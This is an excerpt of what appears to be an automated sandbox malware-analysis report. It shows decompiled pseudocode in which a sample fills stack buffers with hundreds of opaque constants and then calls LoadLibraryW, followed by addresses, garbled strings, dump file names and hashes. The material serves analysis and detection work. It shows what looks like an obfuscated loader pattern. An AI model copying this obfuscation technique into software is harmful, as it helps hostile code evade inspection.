				 *((intOrPtr*)(_t497 - 0x1c0)) = 0xea59a4be;
				 *((intOrPtr*)(_t497 - 0x1bc)) = 0xc454cf22;
				 *((intOrPtr*)(_t497 - 0x1b8)) = 0x19934032;
				 *((intOrPtr*)(_t497 - 0x1b4)) = 0x3dd20651;
				 *((intOrPtr*)(_t497 - 0x1b0)) = 0x659f4bbd;
				 *((intOrPtr*)(_t497 - 0x1ac)) = 0xb5c52b1c;
				 *((intOrPtr*)(_t497 - 0x1a8)) = 0x908d65b6;
				 *((intOrPtr*)(_t497 - 0x1a4)) = 0x69a289a7;
				 *((intOrPtr*)(_t497 - 0x1a0)) = 0x37c25f8f;
				 *((intOrPtr*)(_t497 - 0x19c)) = 0xa1a60bf6;
				 *((intOrPtr*)(_t497 - 0x198)) = 0xd84d2203;
				 *((intOrPtr*)(_t497 - 0x194)) = 0x24a4e248;
				 *((intOrPtr*)(_t497 - 0x190)) = 0x4f5c6346;
				 *((intOrPtr*)(_t497 - 0x18c)) = 0xa1d29eb5;
				 *((intOrPtr*)(_t497 - 0x188)) = 0x6e10568a;
				 *((intOrPtr*)(_t497 - 0x184)) = 0x68c77cc;
				 *((intOrPtr*)(_t497 - 0x180)) = 0x55343df3;
				 *((intOrPtr*)(_t497 - 0x17c)) = 0x5b21a496;
				 *((intOrPtr*)(_t497 - 0x178)) = 0x71b4f07f;
				 *((intOrPtr*)(_t497 - 0x174)) = 0xfdf7c7ca;
				 *((intOrPtr*)(_t497 - 0x170)) = 0x7210bebf;
				 *((intOrPtr*)(_t497 - 0x16c)) = 0x28a66d12;
				 *((intOrPtr*)(_t497 - 0x168)) = 0xd7d072bb;
				 *((intOrPtr*)(_t497 - 0x164)) = 0x5fc0cb9b;
				 *((intOrPtr*)(_t497 - 0x160)) = 0x2ab751f7;
				 *((intOrPtr*)(_t497 - 0x15c)) = 0x2b85cee1;
				 *((intOrPtr*)(_t497 - 0x158)) = 0xdc15e729;
				 *((intOrPtr*)(_t497 - 0x154)) = 0x52a06854;
				 *((intOrPtr*)(_t497 - 0x150)) = 0x7770e559;
				 *((intOrPtr*)(_t497 - 0x14c)) = 0x6ee0bbdb;
				 *((intOrPtr*)(_t497 - 0x148)) = 0xcc457217;
				 *((intOrPtr*)(_t497 - 0x144)) = 0x76e53ba1;
				 *((intOrPtr*)(_t497 - 0x140)) = 0x1e804766;
				 *((intOrPtr*)(_t497 - 0x13c)) = 0xc21e0fe5;
				 *((intOrPtr*)(_t497 - 0x138)) = 0xb0d2976e;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t497 - 0x134)) = 0xbee9e6ad;
				 *((intOrPtr*)(_t497 - 0x130)) = 0x97c7547f;
				 *((intOrPtr*)(_t497 - 0x12c)) = 0xe0efca2f;
				 *((intOrPtr*)(_t497 - 0x128)) = 0x9f6962c8;
				 *((intOrPtr*)(_t497 - 0x124)) = 0x1c54f788;
				 *((intOrPtr*)(_t497 - 0x120)) = 0x1f698cc5;
				 *((intOrPtr*)(_t497 - 0x11c)) = 0x78a72e2b;
				 *((intOrPtr*)(_t497 - 0x118)) = 0x3a1bcfbc;
				 *((intOrPtr*)(_t497 - 0x114)) = 0x22e6335;
				 *((intOrPtr*)(_t497 - 0x110)) = 0x672b6260;
				 *((intOrPtr*)(_t497 - 0x10c)) = 0x2d7654b6;
				 *((intOrPtr*)(_t497 - 0x108)) = 0x5d17b302;
				 *((intOrPtr*)(_t497 - 0x104)) = 0xe760f22d;
				 *((intOrPtr*)(_t497 - 0x100)) = 0x20eeaffd;
				 *((intOrPtr*)(_t497 - 0xfc)) = 0xacd69321;
				 *((intOrPtr*)(_t497 - 0xf8)) = 0xad8f0f3e;
				 *((intOrPtr*)(_t497 - 0xf4)) = 0x1015c173;
				 *((intOrPtr*)(_t497 - 0xf0)) = 0xcff28a7;
				 *((intOrPtr*)(_t497 - 0xec)) = 0x30acd9b1;
				 *((intOrPtr*)(_t497 - 0xe8)) = 0x90c14996;
				 *((intOrPtr*)(_t497 - 0xe4)) = 0x564f099f;
				 *((intOrPtr*)(_t497 - 0xe0)) = 0x51d3c47c;
				 *((intOrPtr*)(_t497 - 0xdc)) = 0x637ae8a7;
				 *((intOrPtr*)(_t497 - 0xd8)) = 0xcb0091be;
				 *((intOrPtr*)(_t497 - 0xd4)) = 0x937b1f75;
				 *((intOrPtr*)(_t497 - 0xd0)) = 0x43079f2a;
				 *((intOrPtr*)(_t497 - 0xcc)) = 0xf8322f4d;
				 *((intOrPtr*)(_t497 - 0xc8)) = 0x56a77d95;
				 *((intOrPtr*)(_t497 - 0xc4)) = 0x4640c12d;
				 *((intOrPtr*)(_t497 - 0xc0)) = 0x62be438f;
				 *((intOrPtr*)(_t497 - 0xbc)) = 0x90250e4f;
				 *((intOrPtr*)(_t497 - 0xb8)) = 0x7bac3ee9;
				 *((intOrPtr*)(_t497 - 0xb4)) = 0xa3810071;
				 *((intOrPtr*)(_t497 - 0xb0)) = 0x44549d6d;
				 *((intOrPtr*)(_t497 - 0xac)) = 0x4e4e0d4;
				 *((intOrPtr*)(_t497 - 0xa8)) = 0xdda7c8c8;
				 *((intOrPtr*)(_t497 - 0xa4)) = 0xc1d47c2;
				 *((intOrPtr*)(_t497 - 0xa0)) = 0x4ff79e07;
				 *((intOrPtr*)(_t497 - 0x9c)) = 0xef108566;
				 *((intOrPtr*)(_t497 - 0x98)) = 0x64281786;
				 *((intOrPtr*)(_t497 - 0x94)) = 0x71cb64aa;
				 *((intOrPtr*)(_t497 - 0x90)) = 0x61d05b60;
				 *((intOrPtr*)(_t497 - 0x8c)) = 0x1d77d5d2;
				 *((intOrPtr*)(_t497 - 0x88)) = 0x411427c8;
				 *((intOrPtr*)(_t497 - 0x84)) = 0xd3e47237;
				 *((intOrPtr*)(_t497 - 0x80)) = 0x630fa1ed;
				 *((intOrPtr*)(_t497 - 0x7c)) = 0xa1f70267;
				 *((intOrPtr*)(_t497 - 0x78)) = 0xe54bc031;
				 *((intOrPtr*)(_t497 - 0x74)) = 0xbe158e1a;
				 *((intOrPtr*)(_t497 - 0x70)) = 0x1a009c25;
				 *((intOrPtr*)(_t497 - 0x6c)) = 0xd76b9a33;
				 *((intOrPtr*)(_t497 - 0x68)) = 0x8fced4d0;
				 *((intOrPtr*)(_t497 - 0x64)) = 0x47240b29;
				 *((intOrPtr*)(_t497 - 0x60)) = 0x2da10e86;
				 *((intOrPtr*)(_t497 - 0x5c)) = 0xf4e090e4;
				 *((intOrPtr*)(_t497 - 0x58)) = 0xb5aa73b3;
				 *((intOrPtr*)(_t497 - 0x54)) = 0xa45e9f5a;
				 *((intOrPtr*)(_t497 - 0x50)) = 0xd069b3c0;
				 *((intOrPtr*)(_t497 - 0x4c)) = 0xf6039b0c;
				 *((intOrPtr*)(_t497 - 0x48)) = 0xfea1da29;
				 *((intOrPtr*)(_t497 - 0x44)) = 0xcfc4d2f2;
				 *((intOrPtr*)(_t497 - 0x40)) = 0x6c588cc8;
				 *((intOrPtr*)(_t497 - 0x3c)) = 0xe92af955;
				 *((intOrPtr*)(_t497 - 0x38)) = 0xc633a70a;
				 *((intOrPtr*)(_t497 - 0x34)) = 0x90f54924;
				 *((intOrPtr*)(_t497 - 0x30)) = 0xa226a1ab;
				 *((intOrPtr*)(_t497 - 0x2c)) = 0x4cc425e0;
				 *((intOrPtr*)(_t497 - 0x28)) = 0x28ef8391;
				 *((intOrPtr*)(_t497 - 0x24)) = 0x7685c99a;
				 *((intOrPtr*)(_t497 - 0x20)) = 0x7160a73e;
				 *((intOrPtr*)(_t497 - 0x1c)) = 0xe3e5e71a;
				 *((intOrPtr*)(_t497 - 0x18)) = 0xd9631ec6;
				 *((intOrPtr*)(_t497 - 0x14)) = 0x9338eecf;
				 *((intOrPtr*)(_t497 - 0x10)) = 0x507ee1ce;
				 *((intOrPtr*)(_t497 - 0xc)) = 0xe5aafd05;
				 *((intOrPtr*)(_t497 - 8)) = 0x4964b154;
				 *((intOrPtr*)(_t497 - 4)) = 0x1e8a09be;
				_t495 = L002A1D10(0x2b1810, 0x9c, __edi, __esi);
				_t484 = LoadLibraryW(_t483); // executed
				 *0x2b4c94 = _t484;
				L002A1DB0(_t495);
				_t490 =  *0x2b4c94; // 0x76af0000
				return E002A1570(_t487, _t490, _t497 - 0x784, _t495, 0x1e1, 0x651f28bf, 0x2b3aa0);
			}

0x002a981a
0x002a981a
0x002a9824
0x002a982e
0x002a9838
0x002a9842
0x002a984c
0x002a9856
0x002a9860
0x002a986a
0x002a9874
0x002a987e
0x002a9888
0x002a9892
0x002a989c
0x002a98a6
0x002a98b0
0x002a98ba
0x002a98c4
0x002a98ce
0x002a98d8
0x002a98e2
0x002a98ec
0x002a98f6
0x002a9900
0x002a990a
0x002a9914
0x002a991e
0x002a9928
0x002a9932
0x002a993c
0x002a9946
0x002a9950
0x002a995a
0x002a9964
0x002a996e
0x002a9978
0x002a9982
0x002a998c
0x002a9996
0x002a99a0
0x002a99aa
0x002a99b4
0x002a99be
0x002a99c8
0x002a99d2
0x002a99dc
0x002a99e6
0x002a99f0
0x002a99fa
0x002a9a04
0x002a9a0e
0x002a9a18
0x002a9a22
0x002a9a2c
0x002a9a36
0x002a9a40
0x002a9a4a
0x002a9a54
0x002a9a5e
0x002a9a68
0x002a9a72
0x002a9a7c
0x002a9a86
0x002a9a90
0x002a9a9a
0x002a9aa4
0x002a9aae
0x002a9ab8
0x002a9ac2
0x002a9acc
0x002a9ad6
0x002a9ae0
0x002a9aea
0x002a9af4
0x002a9afe
0x002a9b08
0x002a9b12
0x002a9b1c
0x002a9b26
0x002a9b30
0x002a9b3a
0x002a9b44
0x002a9b4e
0x002a9b58
0x002a9b62
0x002a9b6c
0x002a9b76
0x002a9b80
0x002a9b8a
0x002a9b94
0x002a9b9e
0x002a9ba8
0x002a9bb2
0x002a9bbc
0x002a9bc6
0x002a9bd0
0x002a9bda
0x002a9be4
0x002a9bee
0x002a9bf8
0x002a9c02
0x002a9c0c
0x002a9c16
0x002a9c20
0x002a9c2a
0x002a9c34
0x002a9c3e
0x002a9c48
0x002a9c52
0x002a9c5c
0x002a9c66
0x002a9c70
0x002a9c7a
0x002a9c84
0x002a9c8e
0x002a9c98
0x002a9ca2
0x002a9cac
0x002a9cb6
0x002a9cc0
0x002a9cca
0x002a9cd4
0x002a9cde
0x002a9ce8
0x002a9cf2
0x002a9cfc
0x002a9d06
0x002a9d10
0x002a9d1a
0x002a9d24
0x002a9d2e
0x002a9d38
0x002a9d42
0x002a9d4c
0x002a9d56
0x002a9d60
0x002a9d6a
0x002a9d74
0x002a9d7e
0x002a9d88
0x002a9d92
0x002a9d9c
0x002a9da6
0x002a9db0
0x002a9dba
0x002a9dc4
0x002a9dce
0x002a9dd8
0x002a9de2
0x002a9dec
0x002a9df6
0x002a9e00
0x002a9e0a
0x002a9e14
0x002a9e1e
0x002a9e28
0x002a9e32
0x002a9e3c
0x002a9e46
0x002a9e50
0x002a9e5a
0x002a9e64
0x002a9e6e
0x002a9e78
0x002a9e82
0x002a9e8c
0x002a9e96
0x002a9ea0
0x002a9eaa
0x002a9eb4
0x002a9ebe
0x002a9ec8
0x002a9ed2
0x002a9edc
0x002a9ee6
0x002a9ef0
0x002a9efa
0x002a9f04
0x002a9f0e
0x002a9f18
0x002a9f22
0x002a9f2c
0x002a9f36
0x002a9f40
0x002a9f4a
0x002a9f54
0x002a9f5e
0x002a9f68
0x002a9f72
0x002a9f7c
0x002a9f86
0x002a9f90
0x002a9f9a
0x002a9fa4
0x002a9fae
0x002a9fb8
0x002a9fc2
0x002a9fcc
0x002a9fd6
0x002a9fe0
0x002a9fea
0x002a9ff4
0x002a9ffe
0x002aa008
0x002aa012
0x002aa01c
0x002aa026
0x002aa030
0x002aa03a
0x002aa044
0x002aa04e
0x002aa058
0x002aa062
0x002aa06c
0x002aa076
0x002aa080
0x002aa08a
0x002aa094
0x002aa09e
0x002aa0a8
0x002aa0b2
0x002aa0bc
0x002aa0c6
0x002aa0d0
0x002aa0da
0x002aa0e4
0x002aa0ee
0x002aa0f8
0x002aa102
0x002aa10c
0x002aa116
0x002aa120
0x002aa12a
0x002aa134
0x002aa13e
0x002aa148
0x002aa152
0x002aa15c
0x002aa166
0x002aa170
0x002aa17a
0x002aa184
0x002aa18e
0x002aa198
0x002aa1a2
0x002aa1ac
0x002aa1b6
0x002aa1c0
0x002aa1ca
0x002aa1d4
0x002aa1de
0x002aa1e8
0x002aa1f2
0x002aa1fc
0x002aa206
0x002aa210
0x002aa21a
0x002aa224
0x002aa22e
0x002aa238
0x002aa242
0x002aa24c
0x002aa256
0x002aa260
0x002aa26a
0x002aa274
0x002aa27e
0x002aa288
0x002aa292
0x002aa29c
0x002aa2a6
0x002aa2b0
0x002aa2ba
0x002aa2c4
0x002aa2ce
0x002aa2d8
0x002aa2e2
0x002aa2ec
0x002aa2f6
0x002aa300
0x002aa30a
0x002aa314
0x002aa31e
0x002aa328
0x002aa332
0x002aa33c
0x002aa346
0x002aa350
0x002aa35a
0x002aa364
0x002aa36e
0x002aa378
0x002aa382
0x002aa38c
0x002aa396
0x002aa3a0
0x002aa3aa
0x002aa3b4
0x002aa3be
0x002aa3c8
0x002aa3d2
0x002aa3dc
0x002aa3e6
0x002aa3f0
0x002aa3fa
0x002aa404
0x002aa40e
0x002aa418
0x002aa422
0x002aa42c
0x002aa436
0x002aa440
0x002aa44a
0x002aa454
0x002aa45e
0x002aa468
0x002aa472
0x002aa47c
0x002aa486
0x002aa490
0x002aa49a
0x002aa4a4
0x002aa4ae
0x002aa4b8
0x002aa4c2
0x002aa4cc
0x002aa4d6
0x002aa4e0
0x002aa4ea
0x002aa4f4
0x002aa4fe
0x002aa508
0x002aa512
0x002aa51c
0x002aa526
0x002aa530
0x002aa53a
0x002aa544
0x002aa54e
0x002aa558
0x002aa562
0x002aa56c
0x002aa576
0x002aa580
0x002aa58a
0x002aa594
0x002aa59e
0x002aa5a8
0x002aa5b2
0x002aa5bc
0x002aa5c6
0x002aa5d0
0x002aa5da
0x002aa5e4
0x002aa5ee
0x002aa5f8
0x002aa602
0x002aa60c
0x002aa616
0x002aa620
0x002aa62a
0x002aa634
0x002aa63e
0x002aa648
0x002aa652
0x002aa65c
0x002aa666
0x002aa670
0x002aa67a
0x002aa684
0x002aa68e
0x002aa698
0x002aa6a2
0x002aa6ac
0x002aa6b6
0x002aa6c0
0x002aa6ca
0x002aa6d4
0x002aa6de
0x002aa6e8
0x002aa6f2
0x002aa6fc
0x002aa706
0x002aa710
0x002aa71a
0x002aa724
0x002aa72e
0x002aa738
0x002aa742
0x002aa74c
0x002aa756
0x002aa760
0x002aa76a
0x002aa774
0x002aa77e
0x002aa788
0x002aa792
0x002aa79c
0x002aa7a6
0x002aa7b0
0x002aa7ba
0x002aa7c4
0x002aa7ce
0x002aa7d8
0x002aa7e2
0x002aa7ec
0x002aa7fb
0x002aa805
0x002aa80f
0x002aa819
0x002aa823
0x002aa82d
0x002aa837
0x002aa841
0x002aa84b
0x002aa855
0x002aa85f
0x002aa869
0x002aa873
0x002aa87d
0x002aa887
0x002aa891
0x002aa89b
0x002aa8a5
0x002aa8af
0x002aa8b9
0x002aa8c3
0x002aa8cd
0x002aa8d7
0x002aa8e1
0x002aa8eb
0x002aa8f5
0x002aa8ff
0x002aa909
0x002aa913
0x002aa91d
0x002aa927
0x002aa931
0x002aa93b
0x002aa945
0x002aa94f
0x002aa959
0x002aa963
0x002aa96d
0x002aa977
0x002aa981
0x002aa98b
0x002aa995
0x002aa99f
0x002aa9a9
0x002aa9b3
0x002aa9ba
0x002aa9c1
0x002aa9c8
0x002aa9cf
0x002aa9d6
0x002aa9dd
0x002aa9e4
0x002aa9eb
0x002aa9f2
0x002aa9f9
0x002aaa00
0x002aaa07
0x002aaa0e
0x002aaa15
0x002aaa1c
0x002aaa23
0x002aaa2a
0x002aaa31
0x002aaa38
0x002aaa3f
0x002aaa46
0x002aaa4d
0x002aaa54
0x002aaa5b
0x002aaa62
0x002aaa69
0x002aaa70
0x002aaa77
0x002aaa7e
0x002aaa85
0x002aaa8c
0x002aaa9b
0x002aaa9e
0x002aaaa6
0x002aaaab
0x002aaab0
0x002aaad7

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002AAA9E

Strings

`b+g, xrefs: 002AA84B
Ypw, xrefs: 002AA79C
l`<, xrefs: 002AA3BE
q, xrefs: 002AA931
{, xrefs: 002AA210
Q>}C, xrefs: 002AA4CC
,4#C, xrefs: 002A9A4A
jI], xrefs: 002AA58A
FLU<, xrefs: 002A9EAA
nLn, xrefs: 002A99C8
~#W:, xrefs: 002A9E8C
EHZ@, xrefs: 002AA120
N\W, xrefs: 002AA59E
<e7, xrefs: 002AA670
Fc\O, xrefs: 002AA6FC
R<, xrefs: 002A9C52
44), xrefs: 002AA616
')m, xrefs: 002AA1F2
gC(*, xrefs: 002A9A2C
Tp=, xrefs: 002A9FF4
cHuX, xrefs: 002A9F72
~1, xrefs: 002AA576
QI, xrefs: 002A9EDC
]4', xrefs: 002AA076

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: QI$')m$,4#C$<e7$EHZ@$FLU<$Fc\O$Q>}C$Tp=$Ypw$]4'$`b+g$cHuX$gC(*$jI]$l`<$nLn$q${$~#W:$44)$N\W$R<$~1
API String ID: 1029625771-2863256970
Opcode ID: 1dccf13b224f3af4236f8ed03c57340ebdc2dda6dd032e26bcfee8d37ed30aaf
Instruction ID: 9b766f4796084ae26280b2d61803dc764ca24854a13ea1007f545b4983ba61e1
Opcode Fuzzy Hash: 1dccf13b224f3af4236f8ed03c57340ebdc2dda6dd032e26bcfee8d37ed30aaf
Instruction Fuzzy Hash: 7492B4B4C067A98BDB618F429E8478EBA75FB41305F6096C8C26C3B215CB750BD6CF85

Uniqueness

Uniqueness Score: 100.00%

Function 002A7EDA, Relevance: 44.2, APIs: 1, Strings: 24, Instructions: 465
libraryUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E002A7EDA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t446;
				void* _t449;
				struct HINSTANCE__* _t452;
				void* _t459;

				_t449 = __ebx;
				 *((intOrPtr*)(_t459 - 0x6ec)) = 0xa0c071cc;
				 *((intOrPtr*)(_t459 - 0x6e8)) = 0x9bb73ab5;
				 *((intOrPtr*)(_t459 - 0x6e4)) = 0x52a9d08b;
				 *((intOrPtr*)(_t459 - 0x6e0)) = 0x4f1f5fde;
				 *((intOrPtr*)(_t459 - 0x6dc)) = 0x35ef533d;
				 *((intOrPtr*)(_t459 - 0x6d8)) = 0xbdd6c1bd;
				 *((intOrPtr*)(_t459 - 0x6d4)) = 0xa01d0643;
				 *((intOrPtr*)(_t459 - 0x6d0)) = 0xabbfcbc;
				 *((intOrPtr*)(_t459 - 0x6cc)) = 0xf149beee;
				 *((intOrPtr*)(_t459 - 0x6c8)) = 0xf0d8b5ca;
				 *((intOrPtr*)(_t459 - 0x6c4)) = 0xff3369fa;
				 *((intOrPtr*)(_t459 - 0x6c0)) = 0x7241a174;
				 *((intOrPtr*)(_t459 - 0x6bc)) = 0x70bc76d8;
				 *((intOrPtr*)(_t459 - 0x6b8)) = 0x1b8da2f6;
				 *((intOrPtr*)(_t459 - 0x6b4)) = 0x9fe4e81b;
				 *((intOrPtr*)(_t459 - 0x6b0)) = 0x167cdea8;
				 *((intOrPtr*)(_t459 - 0x6ac)) = 0x12b3cdd;
				 *((intOrPtr*)(_t459 - 0x6a8)) = 0x64416271;
				 *((intOrPtr*)(_t459 - 0x6a4)) = 0x6b302f01;
				 *((intOrPtr*)(_t459 - 0x6a0)) = 0xd830ca75;
				 *((intOrPtr*)(_t459 - 0x69c)) = 0x9723f755;
				 *((intOrPtr*)(_t459 - 0x698)) = 0xf46e6d45;
				 *((intOrPtr*)(_t459 - 0x694)) = 0x4a119b87;
				 *((intOrPtr*)(_t459 - 0x690)) = 0xb317c56e;
				 *((intOrPtr*)(_t459 - 0x68c)) = 0x71bf6311;
				 *((intOrPtr*)(_t459 - 0x688)) = 0xc876d992;
				 *((intOrPtr*)(_t459 - 0x684)) = 0x20f1b1f2;
				 *((intOrPtr*)(_t459 - 0x680)) = 0x4e2d91b3;
				 *((intOrPtr*)(_t459 - 0x67c)) = 0x92fe6a64;
				 *((intOrPtr*)(_t459 - 0x678)) = 0xb78609f0;
				 *((intOrPtr*)(_t459 - 0x674)) = 0x51464964;
				 *((intOrPtr*)(_t459 - 0x670)) = 0x12b964d3;
				 *((intOrPtr*)(_t459 - 0x66c)) = 0x96ab1199;
				 *((intOrPtr*)(_t459 - 0x668)) = 0xb114d9c0;
				 *((intOrPtr*)(_t459 - 0x664)) = 0x27755429;
				 *((intOrPtr*)(_t459 - 0x660)) = 0xb3ebede3;
				 *((intOrPtr*)(_t459 - 0x65c)) = 0x9cfb7adf;
				 *((intOrPtr*)(_t459 - 0x658)) = 0xbc01c204;
				 *((intOrPtr*)(_t459 - 0x654)) = 0xf5f5d4da;
				 *((intOrPtr*)(_t459 - 0x650)) = 0x51727f9;
				 *((intOrPtr*)(_t459 - 0x64c)) = 0x3312b3c4;
				 *((intOrPtr*)(_t459 - 0x648)) = 0xf6b654f;
				 *((intOrPtr*)(_t459 - 0x644)) = 0xe4d8ef26;
				 *((intOrPtr*)(_t459 - 0x640)) = 0x1324a854;
				 *((intOrPtr*)(_t459 - 0x63c)) = 0x398e338e;
				 *((intOrPtr*)(_t459 - 0x638)) = 0x56191a1b;
				 *((intOrPtr*)(_t459 - 0x634)) = 0x4d7123b2;
				 *((intOrPtr*)(_t459 - 0x630)) = 0x1860ed94;
				 *((intOrPtr*)(_t459 - 0x62c)) = 0x8f86c3b7;
				 *((intOrPtr*)(_t459 - 0x628)) = 0xbf2410f0;
				 *((intOrPtr*)(_t459 - 0x624)) = 0xe7b17839;
				 *((intOrPtr*)(_t459 - 0x620)) = 0xcf91c527;
				 *((intOrPtr*)(_t459 - 0x61c)) = 0x901ffdef;
				 *((intOrPtr*)(_t459 - 0x618)) = 0xa9e8552;
				 *((intOrPtr*)(_t459 - 0x614)) = 0xad7c3360;
				 *((intOrPtr*)(_t459 - 0x610)) = 0xd82c9ec9;
				 *((intOrPtr*)(_t459 - 0x60c)) = 0xa92dc2fb;
				 *((intOrPtr*)(_t459 - 0x608)) = 0xf860d8e3;
				 *((intOrPtr*)(_t459 - 0x604)) = 0x575f57c9;
				 *((intOrPtr*)(_t459 - 0x600)) = 0xe8747164;
				 *((intOrPtr*)(_t459 - 0x5fc)) = 0xa7ba0712;
				 *((intOrPtr*)(_t459 - 0x5f8)) = 0x5673240a;
				 *((intOrPtr*)(_t459 - 0x5f4)) = 0xdf28c108;
				 *((intOrPtr*)(_t459 - 0x5f0)) = 0xb9844152;
				 *((intOrPtr*)(_t459 - 0x5ec)) = 0x581f9a5b;
				 *((intOrPtr*)(_t459 - 0x5e8)) = 0xf1dcd5e5;
				 *((intOrPtr*)(_t459 - 0x5e4)) = 0xf0d7713e;
				 *((intOrPtr*)(_t459 - 0x5e0)) = 0xd9d8a317;
				 *((intOrPtr*)(_t459 - 0x5dc)) = 0x20a59ab9;
				 *((intOrPtr*)(_t459 - 0x5d8)) = 0x585c987f;
				 *((intOrPtr*)(_t459 - 0x5d4)) = 0x72ec8c50;
				 *((intOrPtr*)(_t459 - 0x5d0)) = 0xdb084fb0;
				 *((intOrPtr*)(_t459 - 0x5cc)) = 0x51349e8e;
				 *((intOrPtr*)(_t459 - 0x5c8)) = 0xd0ef8d05;
				 *((intOrPtr*)(_t459 - 0x5c4)) = 0x5c7d90a8;
				 *((intOrPtr*)(_t459 - 0x5c0)) = 0xba326a4e;
				 *((intOrPtr*)(_t459 - 0x5bc)) = 0x1deabfa2;
				 *((intOrPtr*)(_t459 - 0x5b8)) = 0x6f9dd3db;
				 *((intOrPtr*)(_t459 - 0x5b4)) = 0xc67afd;
				 *((intOrPtr*)(_t459 - 0x5b0)) = 0x6cef40f1;
				 *((intOrPtr*)(_t459 - 0x5ac)) = 0xa7ffcd78;
				 *((intOrPtr*)(_t459 - 0x5a8)) = 0x5d4e839b;
				 *((intOrPtr*)(_t459 - 0x5a4)) = 0x26b1055b;
				 *((intOrPtr*)(_t459 - 0x5a0)) = 0x3d7ba41c;
				 *((intOrPtr*)(_t459 - 0x59c)) = 0x24940163;
				 *((intOrPtr*)(_t459 - 0x598)) = 0x7c0e000c;
				 *((intOrPtr*)(_t459 - 0x594)) = 0x350d2ce7;
				 *((intOrPtr*)(_t459 - 0x590)) = 0xb900a4a9;
				 *((intOrPtr*)(_t459 - 0x58c)) = 0x44caacfc;
				 *((intOrPtr*)(_t459 - 0x588)) = 0x8de812e4;
				 *((intOrPtr*)(_t459 - 0x584)) = 0xfe61ed02;
				 *((intOrPtr*)(_t459 - 0x580)) = 0x7d6dac7c;
				 *((intOrPtr*)(_t459 - 0x57c)) = 0x580092b0;
				 *((intOrPtr*)(_t459 - 0x578)) = 0xfd169b3e;
				 *((intOrPtr*)(_t459 - 0x574)) = 0x9a478c99;
				 *((intOrPtr*)(_t459 - 0x570)) = 0x63aa85c9;
				 *((intOrPtr*)(_t459 - 0x56c)) = 0x5c9e1f9a;
				 *((intOrPtr*)(_t459 - 0x568)) = 0xfac6b61f;
				 *((intOrPtr*)(_t459 - 0x564)) = 0x3a3b3232;
				 *((intOrPtr*)(_t459 - 0x560)) = 0xa14a0fed;
				 *((intOrPtr*)(_t459 - 0x55c)) = 0xc8cdc156;
				 *((intOrPtr*)(_t459 - 0x558)) = 0x607bc6e3;
				 *((intOrPtr*)(_t459 - 0x554)) = 0x5c8dbf84;
				 *((intOrPtr*)(_t459 - 0x550)) = 0x839b07bb;
				 *((intOrPtr*)(_t459 - 0x54c)) = 0xb43eb5ac;
				 *((intOrPtr*)(_t459 - 0x548)) = 0x6f770a2c;
				 *((intOrPtr*)(_t459 - 0x544)) = 0x195a3ba7;
				 *((intOrPtr*)(_t459 - 0x540)) = 0x696f80be;
				 *((intOrPtr*)(_t459 - 0x53c)) = 0xc08f29d6;
				 *((intOrPtr*)(_t459 - 0x538)) = 0xc6de1881;
				 *((intOrPtr*)(_t459 - 0x534)) = 0x7e561ed5;
				 *((intOrPtr*)(_t459 - 0x530)) = 0x15cf373c;
				 *((intOrPtr*)(_t459 - 0x52c)) = 0xd8ebff33;
				 *((intOrPtr*)(_t459 - 0x528)) = 0x493eb0a3;
				 *((intOrPtr*)(_t459 - 0x524)) = 0x11c8a13d;
				 *((intOrPtr*)(_t459 - 0x520)) = 0x33e873b1;
				 *((intOrPtr*)(_t459 - 0x51c)) = 0x9e2225a6;
				 *((intOrPtr*)(_t459 - 0x518)) = 0xa364df34;
				 *((intOrPtr*)(_t459 - 0x514)) = 0x4dea98b;
				 *((intOrPtr*)(_t459 - 0x510)) = 0xe6021df4;
				 *((intOrPtr*)(_t459 - 0x50c)) = 0x30b889bc;
				 *((intOrPtr*)(_t459 - 0x508)) = 0xc9e63817;
				 *((intOrPtr*)(_t459 - 0x504)) = 0x2f4dfa87;
				 *((intOrPtr*)(_t459 - 0x500)) = 0x3e5d2a67;
				 *((intOrPtr*)(_t459 - 0x4fc)) = 0x21fbfafd;
				 *((intOrPtr*)(_t459 - 0x4f8)) = 0x3a34d7bd;
				 *((intOrPtr*)(_t459 - 0x4f4)) = 0xb867db1b;
				 *((intOrPtr*)(_t459 - 0x4f0)) = 0x1e6d4c40;
				 *((intOrPtr*)(_t459 - 0x4ec)) = 0x736367ef;
				 *((intOrPtr*)(_t459 - 0x4e8)) = 0x623a0fa9;
				 *((intOrPtr*)(_t459 - 0x4e4)) = 0x4e9d3abf;
				 *((intOrPtr*)(_t459 - 0x4e0)) = 0xdf73bfa3;
				 *((intOrPtr*)(_t459 - 0x4dc)) = 0xd91eb4c5;
				 *((intOrPtr*)(_t459 - 0x4d8)) = 0xd42fd6b6;
				 *((intOrPtr*)(_t459 - 0x4d4)) = 0xf6bfe013;
				 *((intOrPtr*)(_t459 - 0x4d0)) = 0x919a39b3;
				 *((intOrPtr*)(_t459 - 0x4cc)) = 0xa9279007;
				 *((intOrPtr*)(_t459 - 0x4c8)) = 0x8e74b6c3;
				 *((intOrPtr*)(_t459 - 0x4c4)) = 0x568e20a8;
				 *((intOrPtr*)(_t459 - 0x4c0)) = 0xa9b69a0d;
				 *((intOrPtr*)(_t459 - 0x4bc)) = 0xb7fa6634;
				 *((intOrPtr*)(_t459 - 0x4b8)) = 0xcadaecb6;
				 *((intOrPtr*)(_t459 - 0x4b4)) = 0x63282eca;
				 *((intOrPtr*)(_t459 - 0x4b0)) = 0x28ba8b3b;
				 *((intOrPtr*)(_t459 - 0x4ac)) = 0x4c2b1cf9;
				 *((intOrPtr*)(_t459 - 0x4a8)) = 0xca198f28;
				 *((intOrPtr*)(_t459 - 0x4a4)) = 0x77359edd;
				 *((intOrPtr*)(_t459 - 0x4a0)) = 0xbde8cc95;
				 *((intOrPtr*)(_t459 - 0x49c)) = 0x4de44437;
				 *((intOrPtr*)(_t459 - 0x498)) = 0x7c80a6da;
				 *((intOrPtr*)(_t459 - 0x494)) = 0x87226145;
				 *((intOrPtr*)(_t459 - 0x490)) = 0x776f8899;
				 *((intOrPtr*)(_t459 - 0x48c)) = 0x1444b53a;
